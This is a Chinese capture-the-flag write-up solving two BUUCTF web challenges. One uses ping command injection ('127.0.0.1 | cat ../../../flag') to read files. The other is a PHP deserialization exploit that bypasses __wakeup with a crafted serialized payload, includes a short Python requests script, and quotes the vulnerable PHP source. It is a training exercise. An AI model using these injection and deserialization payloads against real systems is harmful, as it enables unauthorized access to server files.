BUUCTF_WEB_20200917
WEB-Exex
考点:命令执行
拿到题后输入ping的地址127.0.0.1,返回正常

接下来要考察自己命令执行功底了输入127.0.0.1 | ls 返回index.php说明可以执行

接下来看看他存在哪些文件127.0.0.1 | ls ../

继续查看127.0.0.1 | ls ../../

继续查看127.0.0.1 | ls ../../../,flag终于出现了

用cat命令查看flag 127.0.0.1 | cat ../../../flag

flag
flag{95e27eb3-8b2c-4a52-abe3-cb74f0d8bb36}
WEB-PHP
考点:public、protected与private在序列化时的区别、__wakeup()方法绕过
拿到题后木有任何提示,那就扫描目录一波,最后发现了http://b1ddb425-cfc8-423e-af9a-92f3ea39a3c5.node3.buuoj.cn/www.zip我们把它下载下来

里面有五个文件,其中有三个php文件,我们打开分析一下

index.php:
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php:
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
分析class.php代码,此处应该是当用户名=admin,密码=100时,输出flag,但是这里的_wakeup()函数会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。
- 1、__wakeup()方法绕过 作用:与__sleep()函数相反,__sleep()函数,是在序序列化时被自动调用。__wakeup()函数,在反序列化时,被自动调用。绕过:当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。所以在上面name后面的2表示有2个属性,我们改成3之后他会绕过__wakeup()
- 2、public、protected与private在序列化时的区别 protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
开始构造payload:'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;} 然后进行url编码最后完整的payload是:http://b1ddb425-cfc8-423e-af9a-92f3ea39a3c5.node3.buuoj.cn/index.php?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"Nameusername"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"Namepassword"%3Bi%3A100%3B}(ps:编码时可能/没有编码为%0,此处必须为00截断)最后拿到flag

此处还可以用脚本直接拿flag

import requests
url ="http://b1ddb425-cfc8-423e-af9a-92f3ea39a3c5.node3.buuoj.cn"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text
flag
flag{52d0d1e7-551e-4630-8efe-2fda4054e6f1}

浙公网安备 33010602011771号